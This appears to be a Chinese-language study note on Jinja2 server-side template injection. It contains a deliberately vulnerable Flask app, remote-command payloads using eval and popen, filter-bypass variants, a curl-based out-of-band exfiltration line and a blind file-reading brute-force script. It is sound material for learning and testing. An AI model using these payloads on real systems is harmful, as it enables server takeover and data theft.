SSTI(Server-Side Template Injection) 服务端模板注入

就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式

Jinjia2

常用语法

1
2
3
4
5
控制结构 {% %} 

变量取值 {{ }}

注释 {# #}
  • jinja2模板中使用双括弧符号表示一个变量,它是一种特殊的占位符。

    当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象

  • jinja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。

  • 被两个括号包裹的内容会输出其表达式的值

image-20200612171616620

检测ssti漏洞

smarty=Hello ${7*7} Hello 49
twig=Hello 49 Hello 49

image-20200612171722796

实验

源码

1
2
3
4
5
6
7
8
9
10
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()

分析

  1. 可以看到Template("Hello "+ name) 是直接将变量name给输出到模版,如下图

    image-20200612171901578

  2. 构造poc直接利用eval函数来执行命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
    {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
    {{ b['eval']('__import__("os").popen("ls").read()') }}
    {% endif %}
    {% endif %}
    {% endfor %}
    {% endif %}
    {% endfor %}

利用思路

  1. 随便找一个内置类对象用class拿到他所对应的类

  2. 用****bases****拿到基类

  3. 用**subclasses()**拿到子类列表

    连贯操作如:[].__class__.__base__.__subclasses__()

  4. 最后寻找可利用的类

    for b in c.__init__.__globals__.values()

image-20200612172153106

关于Python类

class 返回该对象所属的类 image-20200612173239625
bases 以元组的形式返回一个类所直接继承的类 image-20200612173234670
base 以字符串返回一个类所直接继承的第一个类 image-20200612173228004
mro 返回解析方法调用的顺序 image-20200612173223840 bases返回了test()的两个父类 bases_返回了test()的第一个父类 __mro按照子类到父类到父父类解析的顺序返回所有类。
subclasses() 返回类的所有子类 image-20200612173217065
init 所有类都包含init方法 image-20200612172703915
‘ ‘.class.mro[1].subclasses() 获取function所处空间下可使用的module、方法以及所有变量 image-20200612172348512 image-20200612173246260

关于POC的构造

找共同类

  • 不同的python版本 所包含的类也有差别,如python3中便没有file直接读取文件的类

    builtins类中则会包含不同版本中共有的类

    1
    2
    3
    for c in ().__class__.__bases__[0].__subclasses__():
    if c.__name__=='共有的类':
    c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

通用poc

  • 也就是直接从__builtins__中提取

    1
    2
    3
    4
    5
    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='catch_warnings' %}
    {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
    {% endif %}
    {% endfor %}

过滤绕过

绕过中括号

1
2
3
#通过__bases__.__getitem__(0)(__subclasses__().__getitem__(128))绕过__bases__[0](__subclasses__()[128])
#通过__subclasses__().pop(128)绕过__bases__[0](__subclasses__()[128])
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()

绕过逗号+中括号

1
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}

绕过双大括号(dns外带)

1
{% if ''.__class__.__bases__.__getitem__(0).__subclasses__().pop(250).__init__.__globals__.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

绕过 引号 中括号 通用getshell

1
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %}

Python2盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
url = 'http://127.0.0.1:8080/'
def check(payload):
postdata = {
'exploit':payload
}
r = requests.post(url, data=postdata).content
return '~p0~' in r
password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
for i in xrange(0,100):
for c in s:
payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
if check(payload):
password += c
break
print password

学习自:

ly0n

c4ly